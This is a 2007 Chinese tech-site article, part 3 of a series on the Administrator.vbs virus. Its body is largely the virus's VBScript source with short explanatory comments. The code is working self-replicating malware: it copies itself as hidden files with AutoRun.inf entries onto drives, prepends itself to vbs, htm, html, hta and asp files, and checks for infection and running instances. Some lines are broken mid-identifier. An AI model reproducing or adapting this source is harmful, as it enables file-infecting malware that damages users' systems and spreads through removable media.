科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道Administrator.vbs病毒的源码以及分析(3)

Administrator.vbs病毒的源码以及分析(3)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

按照我得到的样本中代码顺序分上中下剖析代码: 病毒主要用到的是Wscript.Shell 对象,所以运行的时候任务管理器里都有Wscript.exe程序的进程的...

作者:论坛整理 来源:zdnet网络安全 2007年12月24日

关键字: 安全 病毒防范 病毒

  • 评论
  • 分享微博
  • 分享邮件

//判断当前日期下是否已感染成功函数,false则感染(),true不感染
引用 
Function IsOK(objfso, Now_V, path_f)
On Error Resume Next
Dim vf, p1, p2, p3
//默认false
IsOK = False
//读配置文件
Set vf = objfso.OpenTextFile(path_f, 1)
p1 = Trim(vf.ReadLine)
p2 = Trim(vf.ReadLine)
p3 = Trim(vf.ReadLine)
//如果第一行是OK,第二行是日期,则true
If StrComp(p1, "OK", 1) = 0 And StrComp(p2, Now_V, 1) = 0 Then
IsOK = True
End If
//第三行是Amin则给出管理选项
If p3 = "Admin" Then
MsgBox "You Are Admin!!! Your Computer Will Not Be Infected!!!"
IsOK = True
n = InputBox("0:退出; 1:监视系统; 2:传染文件", "SuperVirus脚本测试!")
//0退出,1true,2false
If n = 0 Then
Wscript.Quit
ElseIf n = 1 Then
IsOK = True
ElseIf n = 2 Then
IsOK = False
End If
End If
End Function
//储存病毒头部代码函数
引用 
Function Head()
Head = VBCRLF & "’ATRWZPCAQPMYT1_1" & VBCRLF &_
"On Error Resume Next" & VBCRLF &_
"Dim Cnt, CntMax, Version, Name_V1, FullPath_V0, FullPath_V1, FullPath_Config,Sum_ModelCode,Head_V,Tail_V" & VBCRLF &_
"Dim ModelHead, ModelTail" & VBCRLF &_
"Cnt = 0" & VBCRLF &_
"CntMax = 1000" & VBCRLF &_
"Version = ""4""" & VBCRLF &_
"Name_V1 = GetUserName() & "".vbs""" & VBCRLF &_
"FullPath_V0 = GetSFolder(0) & Name_V1 ’主要执行文件关联转向" & VBCRLF &_
"FullPath_V1 = GetSFolder(1) & Name_V1 ’主要执行配置文件命令" & VBCRLF &_
"FullPath_Config= GetSFolder(1) & GetUserName() & "".ini""" & VBCRLF &_
"Sum_ModelCode = 26" & VBCRLF &_
"Head_V= GetHeadTail(0)" & VBCRLF &_
"Tail_V= GetHeadTail(1)" & VBCRLF &_
"ModelHead=""’ATRWZPCAQPMYT""" & VBCRLF &_
"ModelTail=""’SXHBAKUUEZF""" & VBCRLF
End Function
//生成已感染vbs调用代码
引用 
Function VictimHead()
VictimHead = Head() & VBCRLF &_
"Call VictimMain()" & VBCRLF &_
"Sub VictimMain()" & VBCRLF &_
" Call ExeVbs_Victim()" & VBCRLF &_
"End Sub" & VBCRLF &_
"’SXHBAKUUEZF1_1" & VBCRLF
End Function
//生成vbs病毒体调用代码
引用 
Function VirusHead()
VirusHead = Head() & VBCRLF &_
"Call VirusMain()" & VBCRLF &_
"Sub VirusMain()" & VBCRLF &_
" On Error Resume Next" & VBCRLF &_
" Call ExeVbs_Virus()" & VBCRLF &_
"End Sub" & VBCRLF & VBCRLF &_
"’SXHBAKUUEZF1_1" & VBCRLF
End Function
//生成已感染web页面调用代码
引用 
Function WebHead()
WebHead = Head() & VBCRLF &_
"Call WebMain()" & VBCRLF &_
"Sub WebMain()" & VBCRLF &_
" On Error Resume Next" & VBCRLF &_
" Call ExeVbs_WebPage()" & VBCRLF &_
"End Sub" & VBCRLF &_
"’SXHBAKUUEZF1_1" & VBCRLF
End Function
//判断病毒自身是否在运行的函数,True(在运行),False(不在运行)
引用 
Function PreInstance()
On Error Resume Next
Dim num_cnt
Dim strComputer, objWMIService, colProcessList, objProcess
num_cnt = 0
PreInstance = False
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery("Select * from Win32_Process 

Where " & "Name = ’cscript.exe’ or Name = ’wscript.exe’")
For Each objProcess in colProcessList
If InStr(CStr(objProcess.CommandLine), WScript.ScriptFullName)>0 Then
num_cnt = num_cnt + 1
End If
Next
If num_cnt>= 2 Then
PreInstance = True
End If
End Function
//写入web页面
引用 
Sub ExeVbs_WebPage()
On Error Resume Next
Dim objfso, vbsCode, VbsCode_Virus
Set objfso = CreateObject(GetFSOName())
vbsCode = GetScriptCode("vbscript")
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(v

bsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
Call InvadeSystem(objfso, VbsCode_Virus)
Set objfso = Nothing
End Sub
//写入vbs页面
引用 
Sub ExeVbs_Victim()
On Error Resume Next
Dim objfso, vbsCode, VbsCode_Virus
Set objfso = CreateObject(GetFSOName())
vbsCode = GetSelfCode(objfso, WScript.ScriptFullName)
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(v

bsCode, Sum_ModelCode) & VBCRLF & Tail_V
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode)
Call InvadeSystem(objfso, VbsCode_Virus)
Call Run(FullPath_V1)
Set objfso = Nothing
End Sub
//创建AutoRun.inf文件的函数,参数f(fso对象),D(驱动器号),vbsCode(病毒自身代码)
引用 
Sub AutoRun(objfso, D, vbsCode)
On Error Resume Next
Dim path_autorun, path_vbs, inf_autorun
//autorun.inf完整路径加文件名
path_autorun = D & ":\AutoRun.inf"
//病毒文件完整路径加文件名
path_vbs = D & ":\" & Name_V1
//判断病毒文件是否存在,判断版本是否小于当前版本
If objfso.FileExists(path_vbs) = False Or objfso.FileExists(path_autorun) = False 

Or GetVersion(objfso, path_vbs)<Version Then
//存在则先清除
If objfso.FileExists(path_autorun) = True Then
objfso.DeleteFile path_autorun, True
End If

If objfso.FileExists(path_vbs) = True Then
objfso.DeleteFile path_vbs, True
End If

//拷贝副本
Call CopyFile(objfso, vbsCode, path_vbs)
//设置文件属性为隐藏系统文件
Call SetFileAttr(objfso, path_vbs)

inf_autorun = "[AutoRun]" & VBCRLF & "Shellexecute=WScript.exe " & Name_V1 

& " ""AutoRun""" & VBCRLF & "shell\AutoRun=打开(&O)" & VBCRLF & "shell\AutoRun

\command=WScript.exe " & Name_V1 & " ""AutoRun""" & VBCRLF & "shell\AutoRun

1=资源管理器(&X)" & VBCRLF & "shell\AutoRun1\command=WScript.exe " & Name_V1 & " ""AutoRun"""
Call CopyFile(objfso, inf_autorun, path_autorun)
Call SetFileAttr(objfso, path_autorun)
End If
End Sub
//感染文件,将代码插入到文件头,只传染小于Maxsize的文件,参数strPath(文件完整路径),fi(文件对象),objfso(fso对象),VbsCode_Victim(插入的代码),ftype(文件类型)
引用 
Sub InfectHead(strPath, fi, objfso, VbsCode_WebPage, VbsCode_Victim, ftype, T)
On Error Resume Next
Dim tso, buffer, strCode , Maxsize
Maxsize = 350000
//只传染小于350000KB的文件
If fi.Size< Maxsize Then
Set tso = objfso.OpenTextFile(strPath, 1, True)
buffer = tso.ReadAll()
tso.Close

//如果T=0则感染
If T = 0 Then
Select Case ftype
Case "hta", "htm", "html", "asp"
//判断是否已被感染
If Isinfected(buffer, ftype) = False Then
Set tso = objfso.OpenTextFile(strPath, 2, true)
//生成网页脚本
strCode = MakeScript(VbsCode_WebPage, 0)
//插入到文件头
tso.Write strCode & VBCRLF & buffer
Cnt = Cnt + 1
End If
Case "vbs"
If Isinfected(buffer, ftype) = False Then
//去除Option Explicit的影响,因为Option Explicit语句之前不能放置任何代码
n = InStr(buffer , "Option Explicit")
If n<>0 Then
buffer = Replace(buffer, "Option Explicit", "", 1, 1, 1)
Set tso = objfso.OpenTextFile(strPath, 2, true)
tso.Write vbsCode_Victim & VBCRLF & buffer
Cnt = Cnt + 1
Else
Set tso = objfso.OpenTextFile(strPath, 2, true)
tso.Write vbsCode_Victim & VBCRLF & buffer
Cnt = Cnt + 1
End If
End If
Case Else


End Select

//如果T=1则清除
ElseIf T = 1 Then
If Isinfected(buffer, ftype) = True Then
n = InStrRev(buffer , Tail_V)
If n<>0 Then
buffer = Replace(buffer, Tail_V, "", n, 1, 1)
Set tso = objfso.OpenTextFile(strPath, 2, True)
tso.Write strCode & VBCRLF & buffer
End If
End If
End If
End If

End Sub
//更换模块顺序并生成网页脚本函数,参数strCode(vbs脚本),T(1:更换 0 :不更换)
引用 
Function MakeScript(strCode, T)
If T = 1 Then
MakeScript = "<" & "SCRIPT Language = VBScript>" & VBCRLF & ChangeModelOrd

er(strCode, Sum_ModelCode) & VBCRLF & "</" & "SCRIPT>"
Else
MakeScript = "<" & "SCRIPT Language = VBScript>" & VBCRLF & strCode & VBCRL

F & "</" & "SCRIPT>"
End If
End Function
//获取病毒版本函数,参数f(fso),path_v(待判断的主程序完整路径)
引用 
Function GetVersion(objfso, path_v)
Dim FV, buffer
Set FV = objfso.OpenTextFile(path_v, 1)
buffer = FV.ReadAll()
GetVersion = Mid(buffer, InStr(buffer, Head_V) + Len(Head_V), 1)
End Function
//获取不同脚本语言代码函数
引用 
Function GetScriptCode(Languages)
On Error Resume Next
Dim soj
For Each soj In document.Scripts
If LCase(soj.Language) = Languages Then
Select Case LCase(soj.Language)
Case "vbscript"
GetScriptCode = soj.Text
Exit Function
Case "javascript"
GetScriptCode = soj.Text
Exit Function
End Select
End If
Next
End Function
//获得自身病毒代码
引用 
Function GetSelfCode(objfso, FullPath_Self)
On Error Resume Next
Dim n, n1, buffer, Self
Set Self = objfso.OpenTextFile(FullPath_Self, 1)
buffer = Self.ReadAll
n = InStr(buffer, Head_V)
n1 = InstrRev(buffer, Tail_V)
buffer = Mid(buffer, n, n1 - n + Len(Tail_V) + 1)
GetSelfCode = buffer
Self.Close
End Function
//获得病毒程序体
引用 
Function GetMainBody(vbsCode, Sum_ModelCode)
Dim i
For i = 2 To Sum_ModelCode
GetMainBody = GetMainBody & VBCRLF & GetModelCode(vbsCode, i) & VBCRLF
Next
End Function
//更换模块顺序函数

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章